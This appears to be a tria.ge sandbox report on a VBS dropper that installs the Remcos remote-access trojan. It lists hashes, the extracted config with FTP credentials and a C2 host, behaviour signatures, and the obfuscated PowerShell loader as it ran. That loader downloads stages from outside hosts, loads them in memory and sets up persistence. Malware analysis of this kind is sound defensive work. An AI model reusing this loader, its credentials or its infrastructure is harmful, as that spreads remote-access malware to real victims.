Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
148s -
max time network
143s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
23/09/2024, 18:02
Static task
static1
Behavioral task
behavioral1
Sample
4252980510d6ea59efb52bb30a67f8173b7f905e1ea368113ab6e60f2a99105b.vbs
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
4252980510d6ea59efb52bb30a67f8173b7f905e1ea368113ab6e60f2a99105b.vbs
Resource
win10v2004-20240802-en
General
-
Target
4252980510d6ea59efb52bb30a67f8173b7f905e1ea368113ab6e60f2a99105b.vbs
-
Size
561KB
-
MD5
e5d5bfe30179b640a80ae3cc1640e486
-
SHA1
5c5a868d8b688884b8a47deb61a3ee9ca08fbdd4
-
SHA256
4252980510d6ea59efb52bb30a67f8173b7f905e1ea368113ab6e60f2a99105b
-
SHA512
cae7eac6bf7106bb663c042f1ea77393a62b6ec9555667e07736997fc69f219fa83b30fcaf1c93a4a1a300879ec0fe33aa8cdc22d303f795f36dc285639f488b
-
SSDEEP
1536:kmmmmmmmmmmmmmmmmmmyFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFp:vSe
Malware Config
Extracted
https://drive.google.com/uc?export=download&id=
Extracted
Protocol: ftp- Host:
ftp.desckvbrat.com.br - Port:
21 - Username:
desckvbrat1 - Password:
developerpro21578Jp@@
Extracted
remcos
Grace
severdops.ddns.net:7717
-
audio_folder
MicRecords
-
audio_record_time
5
-
connect_delay
0
-
connect_interval
1
-
copy_file
remcos.exe
-
copy_folder
Remcos
-
delete_file
false
-
hide_file
false
-
hide_keylog_file
false
-
install_flag
false
-
keylog_crypt
false
-
keylog_file
logs.dat
-
keylog_flag
false
-
keylog_folder
remcos
-
mouse_option
false
-
mutex
Rmc-P28XIL
-
screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Screenshots
-
screenshot_path
%AppData%
-
screenshot_time
10
-
take_screenshot_option
false
-
take_screenshot_time
5
Signatures
-
Blocklisted process makes network request 7 IoCs
flow pid Process 14 2028 powershell.exe 18 2028 powershell.exe 20 2028 powershell.exe 22 2028 powershell.exe 24 2028 powershell.exe 28 2028 powershell.exe 33 4828 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Control Panel\International\Geo\Nation WScript.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Update Drivers NVIDEO_b = "cmd.exe /c start /min \"\" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Comman \". 'C:\\Users\\Admin\\AppData\\Local\\Microsoft\\LocalLow\\System Update\\tqnrq.ps1' \";exit" powershell.exe -
pid Process 2028 powershell.exe 3244 powershell.exe 2268 powershell.exe 4828 powershell.exe -
Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 32 pastebin.com 33 pastebin.com -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 4828 set thread context of 2076 4828 powershell.exe 96 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language RegAsm.exe -
Suspicious behavior: EnumeratesProcesses 10 IoCs
pid Process 3244 powershell.exe 3244 powershell.exe 2028 powershell.exe 2028 powershell.exe 2028 powershell.exe 2268 powershell.exe 2268 powershell.exe 4828 powershell.exe 4828 powershell.exe 4828 powershell.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 3244 powershell.exe Token: SeDebugPrivilege 2028 powershell.exe Token: SeDebugPrivilege 2268 powershell.exe Token: SeDebugPrivilege 4828 powershell.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 2076 RegAsm.exe -
Suspicious use of WriteProcessMemory 24 IoCs
description pid Process procid_target PID 3356 wrote to memory of 3244 3356 WScript.exe 82 PID 3356 wrote to memory of 3244 3356 WScript.exe 82 PID 3244 wrote to memory of 2028 3244 powershell.exe 84 PID 3244 wrote to memory of 2028 3244 powershell.exe 84 PID 2028 wrote to memory of 1652 2028 powershell.exe 89 PID 2028 wrote to memory of 1652 2028 powershell.exe 89 PID 2028 wrote to memory of 2268 2028 powershell.exe 90 PID 2028 wrote to memory of 2268 2028 powershell.exe 90 PID 2028 wrote to memory of 4828 2028 powershell.exe 94 PID 2028 wrote to memory of 4828 2028 powershell.exe 94 PID 2028 wrote to memory of 560 2028 powershell.exe 95 PID 2028 wrote to memory of 560 2028 powershell.exe 95 PID 4828 wrote to memory of 2076 4828 powershell.exe 96 PID 4828 wrote to memory of 2076 4828 powershell.exe 96 PID 4828 wrote to memory of 2076 4828 powershell.exe 96 PID 4828 wrote to memory of 2076 4828 powershell.exe 96 PID 4828 wrote to memory of 2076 4828 powershell.exe 96 PID 4828 wrote to memory of 2076 4828 powershell.exe 96 PID 4828 wrote to memory of 2076 4828 powershell.exe 96 PID 4828 wrote to memory of 2076 4828 powershell.exe 96 PID 4828 wrote to memory of 2076 4828 powershell.exe 96 PID 4828 wrote to memory of 2076 4828 powershell.exe 96 PID 4828 wrote to memory of 2076 4828 powershell.exe 96 PID 4828 wrote to memory of 2076 4828 powershell.exe 96
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\4252980510d6ea59efb52bb30a67f8173b7f905e1ea368113ab6e60f2a99105b.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3356 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$qKKzc = 'OwB9ҼмẦDsҼмẦKQҼмẦgҼмẦCkҼмẦIҼмẦҼмẦnҼмẦGUҼмẦdQByҼмẦHQҼмẦJwҼмẦgҼмẦCwҼмẦIҼмẦBYҼмẦFҼмẦҼмẦVQB1ҼмẦGgҼмẦJҼмẦҼмẦgҼмẦCwҼмẦIҼмẦҼмẦnҼмẦGgҼмẦdҼмẦB0ҼмẦHҼмẦҼмẦcwҼмẦ6ҼмẦC8ҼмẦLwBlҼмẦHYҼмẦaQByҼмẦHQҼмẦdQBhҼмẦGwҼмẦcwBlҼмẦHIҼмẦdgBpҼмẦGMҼмẦZQBzҼмẦHIҼмẦZQB2ҼмẦGkҼмẦZQB3ҼмẦHMҼмẦLgBjҼмẦG8ҼмẦbQҼмẦvҼмẦGMҼмẦZҼмẦҼмẦuҼмẦHQҼмẦeҼмẦB0ҼмẦCcҼмẦIҼмẦҼмẦoҼмẦCҼмẦҼмẦXQBdҼмẦFsҼмẦdҼмẦBjҼмẦGUҼмẦagBiҼмẦG8ҼмẦWwҼмẦgҼмẦCwҼмẦIҼмẦBsҼмẦGwҼмẦdQBuҼмẦCQҼмẦIҼмẦҼмẦoҼмẦGUҼмẦawBvҼмẦHYҼмẦbgBJҼмẦC4ҼмẦKQҼмẦgҼмẦCcҼмẦSQBWҼмẦEYҼмẦcgBwҼмẦCcҼмẦIҼмẦҼмẦoҼмẦGQҼмẦbwBoҼмẦHQҼмẦZQBNҼмẦHQҼмẦZQBHҼмẦC4ҼмẦKQҼмẦnҼмẦDEҼмẦcwBzҼмẦGEҼмẦbҼмẦBDҼмẦC4ҼмẦMwB5ҼмẦHIҼмẦYQByҼмẦGIҼмẦaQBMҼмẦHMҼмẦcwBhҼмẦGwҼмẦQwҼмẦnҼмẦCgҼмẦZQBwҼмẦHkҼмẦVҼмẦB0ҼмẦGUҼмẦRwҼмẦuҼмẦCkҼмẦIҼмẦBaҼмẦGMҼмẦQgBjҼмẦGEҼмẦJҼмẦҼмẦgҼмẦCgҼмẦZҼмẦBhҼмẦG8ҼмẦTҼмẦҼмẦuҼмẦG4ҼмẦaQBhҼмẦG0ҼмẦbwBEҼмẦHQҼмẦbgBlҼмẦHIҼмẦcgB1ҼмẦEMҼмẦOgҼмẦ6ҼмẦF0ҼмẦbgBpҼмẦGEҼмẦbQBvҼмẦEQҼмẦcҼмẦBwҼмẦEEҼмẦLgBtҼмẦGUҼмẦdҼмẦBzҼмẦHkҼмẦUwBbҼмẦDsҼмẦKQҼмẦgҼмẦCkҼмẦIҼмẦҼмẦnҼмẦEEҼмẦJwҼмẦgҼмẦCwҼмẦIҼмẦҼмẦnҼмẦJMhOgCTIScҼмẦIҼмẦҼмẦoҼмẦGUҼмẦYwBhҼмẦGwҼмẦcҼмẦBlҼмẦFIҼмẦLgBnҼмẦFMҼмẦegBDҼмẦEIҼмẦbҼмẦҼмẦkҼмẦCҼмẦҼмẦKҼмẦBnҼмẦG4ҼмẦaQByҼмẦHQҼмẦUwҼмẦ0ҼмẦDYҼмẦZQBzҼмẦGEҼмẦQgBtҼмẦG8ҼмẦcgBGҼмẦDoҼмẦOgBdҼмẦHQҼмẦcgBlҼмẦHYҼмẦbgBvҼмẦEMҼмẦLgBtҼмẦGUҼмẦdҼмẦBzҼмẦHkҼмẦUwBbҼмẦCҼмẦҼмẦPQҼмẦgҼмẦFoҼмẦYwBCҼмẦGMҼмẦYQҼмẦkҼмẦCҼмẦҼмẦXQBdҼмẦFsҼмẦZQB0ҼмẦHkҼмẦQgBbҼмẦDsҼмẦJwҼмẦlҼмẦEkҼмẦaҼмẦBxҼмẦFIҼмẦWҼмẦҼмẦlҼмẦCcҼмẦIҼмẦҼмẦ9ҼмẦCҼмẦҼмẦWҼмẦBQҼмẦFUҼмẦdQBoҼмẦCQҼмẦOwҼмẦpҼмẦCҼмẦҼмẦZwBTҼмẦHoҼмẦQwBCҼмẦGwҼмẦJҼмẦҼмẦgҼмẦCgҼмẦZwBuҼмẦGkҼмẦcgB0ҼмẦFMҼмẦZҼмẦBhҼмẦG8ҼмẦbҼмẦBuҼмẦHcҼмẦbwBEҼмẦC4ҼмẦcgB5ҼмẦGsҼмẦdҼмẦҼмẦkҼмẦCҼмẦҼмẦPQҼмẦgҼмẦGcҼмẦUwB6ҼмẦEMҼмẦQgBsҼмẦCQҼмẦOwҼмẦ4ҼмẦEYҼмẦVҼмẦBVҼмẦDoҼмẦOgBdҼмẦGcҼмẦbgBpҼмẦGQҼмẦbwBjҼмẦG4ҼмẦRQҼмẦuҼмẦHQҼмẦeҼмẦBlҼмẦFQҼмẦLgBtҼмẦGUҼмẦdҼмẦBzҼмẦHkҼмẦUwBbҼмẦCҼмẦҼмẦPQҼмẦgҼмẦGcҼмẦbgBpҼмẦGQҼмẦbwBjҼмẦG4ҼмẦRQҼмẦuҼмẦHIҼмẦeQBrҼмẦHQҼмẦJҼмẦҼмẦ7ҼмẦCkҼмẦdҼмẦBuҼмẦGUҼмẦaQBsҼмẦEMҼмẦYgBlҼмẦFcҼмẦLgB0ҼмẦGUҼмẦTgҼмẦgҼмẦHQҼмẦYwBlҼмẦGoҼмẦYgBPҼмẦC0ҼмẦdwBlҼмẦE4ҼмẦKҼмẦҼмẦgҼмẦD0ҼмẦIҼмẦByҼмẦHkҼмẦawB0ҼмẦCQҼмẦOwҼмẦpҼмẦCgҼмẦZQBzҼмẦG8ҼмẦcҼмẦBzҼмẦGkҼмẦZҼмẦҼмẦuҼмẦHIҼмẦeQBrҼмẦHQҼмẦJҼмẦҼмẦ7ҼмẦCkҼмẦIҼмẦҼмẦnҼмẦHQҼмẦeҼмẦB0ҼмẦC4ҼмẦMQҼмẦwҼмẦEwҼмẦTҼмẦBEҼмẦC8ҼмẦMQҼмẦwҼмẦC8ҼмẦcgBlҼмẦHQҼмẦcҼмẦB5ҼмẦHIҼмẦYwBwҼмẦFUҼмẦLwByҼмẦGIҼмẦLgBtҼмẦG8ҼмẦYwҼмẦuҼмẦHQҼмẦYQByҼмẦGIҼмẦdgBrҼмẦGMҼмẦcwBlҼмẦGQҼмẦLgBwҼмẦHQҼмẦZgBҼмẦҼмẦDEҼмẦdҼмẦBhҼмẦHIҼмẦYgB2ҼмẦGsҼмẦYwBzҼмẦGUҼмẦZҼмẦҼмẦvҼмẦC8ҼмẦOgBwҼмẦHQҼмẦZgҼмẦnҼмẦCҼмẦҼмẦKҼмẦBnҼмẦG4ҼмẦaQByҼмẦHQҼмẦUwBkҼмẦGEҼмẦbwBsҼмẦG4ҼмẦdwBvҼмẦEQҼмẦLgByҼмẦHkҼмẦawB0ҼмẦCQҼмẦIҼмẦҼмẦ9ҼмẦCҼмẦҼмẦZwBTҼмẦHoҼмẦQwBCҼмẦGwҼмẦJҼмẦҼмẦ7ҼмẦCkҼмẦJwBҼмẦҼмẦEҼмẦҼмẦcҼмẦBKҼмẦDgҼмẦNwҼмẦ1ҼмẦDEҼмẦMgBvҼмẦHIҼмẦcҼмẦByҼмẦGUҼмẦcҼмẦBvҼмẦGwҼмẦZQB2ҼмẦGUҼмẦZҼмẦҼмẦnҼмẦCwҼмẦKQҼмẦpҼмẦDkҼмẦNҼмẦҼмẦsҼмẦDYҼмẦMQҼмẦxҼмẦCwҼмẦNwҼмẦ5ҼмẦCwҼмẦNҼмẦҼмẦxҼмẦDEҼмẦLҼмẦҼмẦ4ҼмẦDkҼмẦLҼмẦҼмẦ4ҼмẦDEҼмẦMQҼмẦsҼмẦDcҼмẦMҼмẦҼмẦxҼмẦCwҼмẦOQҼмẦ5ҼмẦCwҼмẦNQҼмẦxҼмẦDEҼмẦLҼмẦҼмẦxҼмẦDҼмẦҼмẦMQҼмẦsҼмẦDҼмẦҼмẦMҼмẦҼмẦxҼмẦCgҼмẦXQBdҼмẦFsҼмẦcgBhҼмẦGgҼмẦYwBbҼмẦCҼмẦҼмẦbgBpҼмẦG8ҼмẦagҼмẦtҼмẦCgҼмẦKҼмẦBsҼмẦGEҼмẦaQB0ҼмẦG4ҼмẦZQBkҼмẦGUҼмẦcgBDҼмẦGsҼмẦcgBvҼмẦHcҼмẦdҼмẦBlҼмẦE4ҼмẦLgB0ҼмẦGUҼмẦTgҼмẦuҼмẦG0ҼмẦZQB0ҼмẦHMҼмẦeQBTҼмẦCҼмẦҼмẦdҼмẦBjҼмẦGUҼмẦagBiҼмẦG8ҼмẦLQB3ҼмẦGUҼмẦbgҼмẦgҼмẦD0ҼмẦIҼмẦBzҼмẦGwҼмẦYQBpҼмẦHQҼмẦbgBlҼмẦGQҼмẦZQByҼмẦEMҼмẦLgByҼмẦHkҼмẦawB0ҼмẦCQҼмẦOwҼмẦ4ҼмẦEYҼмẦVҼмẦBVҼмẦDoҼмẦOgBdҼмẦGcҼмẦbgBpҼмẦGQҼмẦbwBjҼмẦG4ҼмẦRQҼмẦuҼмẦHQҼмẦeҼмẦBlҼмẦFQҼмẦLgBtҼмẦGUҼмẦdҼмẦBzҼмẦHkҼмẦUwBbҼмẦCҼмẦҼмẦPQҼмẦgҼмẦGcҼмẦbgBpҼмẦGQҼмẦbwBjҼмẦG4ҼмẦRQҼмẦuҼмẦHIҼмẦeQBrҼмẦHQҼмẦJҼмẦҼмẦ7ҼмẦCkҼмẦdҼмẦBuҼмẦGUҼмẦaQBsҼмẦEMҼмẦYgBlҼмẦFcҼмẦLgB0ҼмẦGUҼмẦTgҼмẦgҼмẦHQҼмẦYwBlҼмẦGoҼмẦYgBPҼмẦC0ҼмẦdwBlҼмẦE4ҼмẦKҼмẦҼмẦgҼмẦD0ҼмẦIҼмẦByҼмẦHkҼмẦawB0ҼмẦCQҼмẦOwBnҼмẦFMҼмẦegBDҼмẦEIҼмẦbҼмẦҼмẦkҼмẦDsҼмẦMgҼмẦxҼмẦHMҼмẦbҼмẦBUҼмẦDoҼмẦOgBdҼмẦGUҼмẦcҼмẦB5ҼмẦFQҼмẦbҼмẦBvҼмẦGMҼмẦbwB0ҼмẦG8ҼмẦcgBQҼмẦHkҼмẦdҼмẦBpҼмẦHIҼмẦdQBjҼмẦGUҼмẦUwҼмẦuҼмẦHQҼмẦZQBOҼмẦC4ҼмẦbQBlҼмẦHQҼмẦcwB5ҼмẦFMҼмẦWwҼмẦgҼмẦD0ҼмẦIҼмẦBsҼмẦG8ҼмẦYwBvҼмẦHQҼмẦbwByҼмẦFҼмẦҼмẦeQB0ҼмẦGkҼмẦcgB1ҼмẦGMҼмẦZQBTҼмẦDoҼмẦOgBdҼмẦHIҼмẦZQBnҼмẦGEҼмẦbgBhҼмẦE0ҼмẦdҼмẦBuҼмẦGkҼмẦbwBQҼмẦGUҼмẦYwBpҼмẦHYҼмẦcgBlҼмẦFMҼмẦLgB0ҼмẦGUҼмẦTgҼмẦuҼмẦG0ҼмẦZQB0ҼмẦHMҼмẦeQBTҼмẦFsҼмẦOwB9ҼмẦGUҼмẦdQByҼмẦHQҼмẦJҼмẦB7ҼмẦCҼмẦҼмẦPQҼмẦgҼмẦGsҼмẦYwBhҼмẦGIҼмẦbҼмẦBsҼмẦGEҼмẦQwBuҼмẦG8ҼмẦaQB0ҼмẦGEҼмẦZҼмẦBpҼмẦGwҼмẦYQBWҼмẦGUҼмẦdҼмẦBhҼмẦGMҼмẦaQBmҼмẦGkҼмẦdҼмẦByҼмẦGUҼмẦQwByҼмẦGUҼмẦdgByҼмẦGUҼмẦUwҼмẦ6ҼмẦDoҼмẦXQByҼмẦGUҼмẦZwBhҼмẦG4ҼмẦYQBNҼмẦHQҼмẦbgBpҼмẦG8ҼмẦUҼмẦBlҼмẦGMҼмẦaQB2ҼмẦHIҼмẦZQBTҼмẦC4ҼмẦdҼмẦBlҼмẦE4ҼмẦLgBtҼмẦGUҼмẦdҼмẦBzҼмẦHkҼмẦUwBbҼмẦHsҼмẦIҼмẦBlҼмẦHMҼмẦbҼмẦBlҼмẦH0ҼмẦIҼмẦBmҼмẦC8ҼмẦIҼмẦҼмẦwҼмẦCҼмẦҼмẦdҼмẦҼмẦvҼмẦCҼмẦҼмẦcgҼмẦvҼмẦCҼмẦҼмẦZQB4ҼмẦGUҼмẦLgBuҼмẦHcҼмẦbwBkҼмẦHQҼмẦdQBoҼмẦHMҼмẦIҼмẦҼмẦ7ҼмẦCcҼмẦMҼмẦҼмẦ4ҼмẦDEҼмẦIҼмẦBwҼмẦGUҼмẦZQBsҼмẦHMҼмẦJwҼмẦgҼмẦGQҼмẦbgBhҼмẦG0ҼмẦbQBvҼмẦGMҼмẦLQҼмẦgҼмẦGUҼмẦeҼмẦBlҼмẦC4ҼмẦbҼмẦBsҼмẦGUҼмẦaҼмẦBzҼмẦHIҼмẦZQB3ҼмẦG8ҼмẦcҼмẦҼмẦ7ҼмẦCҼмẦҼмẦZQBjҼмẦHIҼмẦbwBmҼмẦC0ҼмẦIҼмẦҼмẦpҼмẦCҼмẦҼмẦJwBwҼмẦHUҼмẦdҼмẦByҼмẦGEҼмẦdҼмẦBTҼмẦFwҼмẦcwBtҼмẦGEҼмẦcgBnҼмẦG8ҼмẦcgBQҼмẦFwҼмẦdQBuҼмẦGUҼмẦTQҼмẦgҼмẦHQҼмẦcgBhҼмẦHQҼмẦUwBcҼмẦHMҼмẦdwBvҼмẦGQҼмẦbgBpҼмẦFcҼмẦXҼмẦB0ҼмẦGYҼмẦbwBzҼмẦG8ҼмẦcgBjҼмẦGkҼмẦTQBcҼмẦGcҼмẦbgBpҼмẦG0ҼмẦYQBvҼмẦFIҼмẦXҼмẦBhҼмẦHQҼмẦYQBEҼмẦHҼмẦҼмẦcҼмẦBBҼмẦFwҼмẦJwҼмẦgҼмẦCsҼмẦIҼмẦBaҼмẦEsҼмẦbgBZҼмẦE0ҼмẦJҼмẦҼмẦgҼмẦCgҼмẦIҼмẦBuҼмẦG8ҼмẦaQB0ҼмẦGEҼмẦbgBpҼмẦHQҼмẦcwBlҼмẦEQҼмẦLQҼмẦgҼмẦCcҼмẦJQBJҼмẦGgҼмẦcQBSҼмẦFgҼмẦJQҼмẦnҼмẦCҼмẦҼмẦbQBlҼмẦHQҼмẦSQҼмẦtҼмẦHkҼмẦcҼмẦBvҼмẦEMҼмẦIҼмẦҼмẦ7ҼмẦCҼмẦҼмẦdҼмẦByҼмẦGEҼмẦdҼмẦBzҼмẦGUҼмẦcgBvҼмẦG4ҼмẦLwҼмẦgҼмẦHQҼмẦZQBpҼмẦHUҼмẦcQҼмẦvҼмẦCҼмẦҼмẦRwBjҼмẦFcҼмẦaQBSҼмẦCҼмẦҼмẦZQB4ҼмẦGUҼмẦLgBhҼмẦHMҼмẦdQB3ҼмẦCҼмẦҼмẦZQB4ҼмẦGUҼмẦLgBsҼмẦGwҼмẦZQBoҼмẦHMҼмẦcgBlҼмẦHcҼмẦbwBwҼмẦCҼмẦҼмẦOwҼмẦpҼмẦCcҼмẦdQBzҼмẦG0ҼмẦLgBuҼмẦGkҼмẦdwBwҼмẦFUҼмẦXҼмẦҼмẦnҼмẦCҼмẦҼмẦKwҼмẦgҼмẦE4ҼмẦSgBUҼмẦHgҼмẦRҼмẦҼмẦkҼмẦCgҼмẦIҼмẦҼмẦ9ҼмẦCҼмẦҼмẦRwBjҼмẦFcҼмẦaQBSҼмẦDsҼмẦKQҼмẦgҼмẦGUҼмẦbQBhҼмẦE4ҼмẦcgBlҼмẦHMҼмẦVQҼмẦ6ҼмẦDoҼмẦXQB0ҼмẦG4ҼмẦZQBtҼмẦG4ҼмẦbwByҼмẦGkҼмẦdgBuҼмẦEUҼмẦWwҼмẦgҼмẦCsҼмẦIҼмẦҼмẦnҼмẦFwҼмẦcwByҼмẦGUҼмẦcwBVҼмẦFwҼмẦOgBDҼмẦCcҼмẦKҼмẦҼмẦgҼмẦD0ҼмẦIҼмẦBaҼмẦEsҼмẦbgBZҼмẦE0ҼмẦJҼмẦҼмẦ7ҼмẦCkҼмẦJwB1ҼмẦHMҼмẦbQҼмẦuҼмẦG4ҼмẦaQB3ҼмẦHҼмẦҼмẦVQBcҼмẦCcҼмẦIҼмẦҼмẦrҼмẦCҼмẦҼмẦTgBKҼмẦFQҼмẦeҼмẦBEҼмẦCQҼмẦIҼмẦҼмẦsҼмẦEIҼмẦSwBMҼмẦFIҼмẦVQҼмẦkҼмẦCgҼмẦZQBsҼмẦGkҼмẦRgBkҼмẦGEҼмẦbwBsҼмẦG4ҼмẦdwBvҼмẦEQҼмẦLgBzҼмẦHQҼмẦbQBvҼмẦG8ҼмẦJҼмẦҼмẦ7ҼмẦDgҼмẦRgBUҼмẦFUҼмẦOgҼмẦ6ҼмẦF0ҼмẦZwBuҼмẦGkҼмẦZҼмẦBvҼмẦGMҼмẦbgBFҼмẦC4ҼмẦdҼмẦB4ҼмẦGUҼмẦVҼмẦҼмẦuҼмẦG0ҼмẦZQB0ҼмẦHMҼмẦeQBTҼмẦFsҼмẦIҼмẦҼмẦ9ҼмẦCҼмẦҼмẦZwBuҼмẦGkҼмẦZҼмẦBvҼмẦGMҼмẦbgBFҼмẦC4ҼмẦcwB0ҼмẦG0ҼмẦbwBvҼмẦCQҼмẦOwҼмẦpҼмẦHQҼмẦbgBlҼмẦGkҼмẦbҼмẦBDҼмẦGIҼмẦZQBXҼмẦC4ҼмẦdҼмẦBlҼмẦE4ҼмẦIҼмẦB0ҼмẦGMҼмẦZQBqҼмẦGIҼмẦTwҼмẦtҼмẦHcҼмẦZQBOҼмẦCgҼмẦIҼмẦҼмẦ9ҼмẦCҼмẦҼмẦcwB0ҼмẦG0ҼмẦbwBvҼмẦCQҼмẦOwB9ҼмẦDsҼмẦIҼмẦҼмẦpҼмẦCcҼмẦdҼмẦBPҼмẦEwҼмẦYwBfҼмẦEsҼмẦYQҼмẦzҼмẦFoҼмẦZgBvҼмẦFgҼмẦMgBKҼмẦEoҼмẦcgBWҼмẦGgҼмẦbQBWҼмẦDkҼмẦYwBtҼмẦDkҼмẦWҼмẦBzҼмẦHUҼмẦWҼмẦBtҼмẦGoҼмẦMQBnҼмẦDEҼмẦJwҼмẦgҼмẦCsҼмẦIҼмẦBvҼмẦHgҼмẦSwBVҼмẦGcҼмẦJҼмẦҼмẦoҼмẦCҼмẦҼмẦPQҼмẦgҼмẦG8ҼмẦeҼмẦBLҼмẦFUҼмẦZwҼмẦkҼмẦHsҼмẦIҼмẦBlҼмẦHMҼмẦbҼмẦBlҼмẦH0ҼмẦOwҼмẦgҼмẦCkҼмẦJwҼмẦyҼмẦDQҼмẦdQBYҼмẦEoҼмẦVҼмẦBxҼмẦGEҼмẦbQBnҼмẦHkҼмẦTQB0ҼмẦEYҼмẦegBhҼмẦGsҼмẦUҼмẦBSҼмẦDEҼмẦcQBfҼмẦEkҼмẦdgBHҼмẦGkҼмẦWҼмẦBOҼмẦGQҼмẦcQBhҼмẦE4ҼмẦMQҼмẦnҼмẦCҼмẦҼмẦKwҼмẦgҼмẦG8ҼмẦeҼмẦBLҼмẦFUҼмẦZwҼмẦkҼмẦCgAIAA9ACAAbwB4AEsAVQBnACQAewAgACkAIAB1AE4AQwBWAHEAJAAgACgAIABmAGkAOwAgACkAJwA0ADYAJwAoAHMAbgBpAGEAdABuAG8AQwAuAEUAUgBVAFQAQwBFAFQASQBIAEMAUgBBAF8AUgBPAFMAUwBFAEMATwBSAFAAOgB2AG4AZQAkACAAPQAgAHUATgBDAFYAcQAkADsAJwA9AGQAaQAmAGQAYQBvAGwAbgB3AG8AZAA9AHQAcgBvAHAAeABlAD8AYwB1AC8AbQBvAGMALgBlAGwAZwBvAG8AZwAuAGUAdgBpAHIAZAAvAC8AOgBzAHAAdAB0AGgAJwAgAD0AIABvAHgASwBVҼмẦGcAJAA7ACkAIAAnAHUAcwBtAC4AbgBpAHcAcABVAFwAJwAgACsAIABOAEoAVAB4AEQAJAAgACgAIABsAGUAZAA7ACkAKABoAHQAYQBQAHAAbQBlAFQAdABlAEcAOgA6AF0AaAB0AGEAUAAuAE8ASQAuAG0AZQB0AHMAeQBTAFsAIAA9ACAATgBKAFQAeABEACQAewAgACkAIABkAHYAbwBmAFgAJAAgACgAIABmAGkAOwAgACkAMgAoAHMAbABhAHUAcQBFAC4AcgBvAGoAYQBNAC4AbgBvAGkAcwByAGUAVgAuAHQAcwBvAGgAJAAgAD0AIABkAHYAbwBmAFgAJAAgADsA';$kahlN = $qKKzc.replace('ҼмẦ' , 'A') ;$DLOWx = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String( $kahlN ) ); $DLOWx = $DLOWx[-1..-$DLOWx.Length] -join '';$DLOWx = $DLOWx.replace('%XRqhI%','C:\Users\Admin\AppData\Local\Temp\4252980510d6ea59efb52bb30a67f8173b7f905e1ea368113ab6e60f2a99105b.vbs');powershell $DLOWx2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3244 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $Xfovd = $host.Version.Major.Equals(2) ;if ( $Xfovd ) {$DxTJN = [System.IO.Path]::GetTempPath();del ( $DxTJN + '\Upwin.msu' );$gUKxo = 'https://drive.google.com/uc?export=download&id=';$qVCNu = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $qVCNu ) {$gUKxo = ($gUKxo + '1NaqdNXiGvI_q1RPkazFtMygmaqTJXu42') ;}else {$gUKxo = ($gUKxo + '1g1jmXusX9mc9VmhVrJJ2XofZ3aK_cLOt') ;};$oomts = (New-Object Net.WebClient);$oomts.Encoding = [System.Text.Encoding]::UTF8;$oomts.DownloadFile($URLKB, $DxTJN + '\Upwin.msu');$MYnKZ = ('C:\Users\' + [Environment]::UserName );RiWcG = ($DxTJN + '\Upwin.msu'); powershell.exe wusa.exe RiWcG /quiet /norestart ; Copy-Item 'C:\Users\Admin\AppData\Local\Temp\4252980510d6ea59efb52bb30a67f8173b7f905e1ea368113ab6e60f2a99105b.vbs' -Destination ( $MYnKZ + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$lBCzSg;$tkyr = (New-Object Net.WebClient);$tkyr.Encoding = [System.Text.Encoding]::UTF8;$tkyr.Credentials = new-object System.Net.NetworkCredential((-join [char[]](100,101,115,99,107,118,98,114,97,116,49)),'developerpro21578Jp@@');$lBCzSg = $tkyr.DownloadString( 'ftp://[email protected]/Upcrypter/01/DLL01.txt' );$tkyr.dispose();$tkyr = (New-Object Net.WebClient);$tkyr.Encoding = [System.Text.Encoding]::UTF8;$lBCzSg = $tkyr.DownloadString( $lBCzSg );$huUPX = 'C:\Users\Admin\AppData\Local\Temp\4252980510d6ea59efb52bb30a67f8173b7f905e1ea368113ab6e60f2a99105b.vbs';[Byte[]] $acBcZ = [System.Convert]::FromBase64String( $lBCzSg.Replace( '↓:↓' , 'A' ) );[System.AppDomain]::CurrentDomain.Load( $acBcZ ).GetType('ClassLibrary3.Class1').GetMethod( 'prFVI' ).Invoke( $null , [object[]] ( 'txt.dc/moc.sweiversecivreslautrive//:sptth' , $huUPX , 'true' ) );};"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
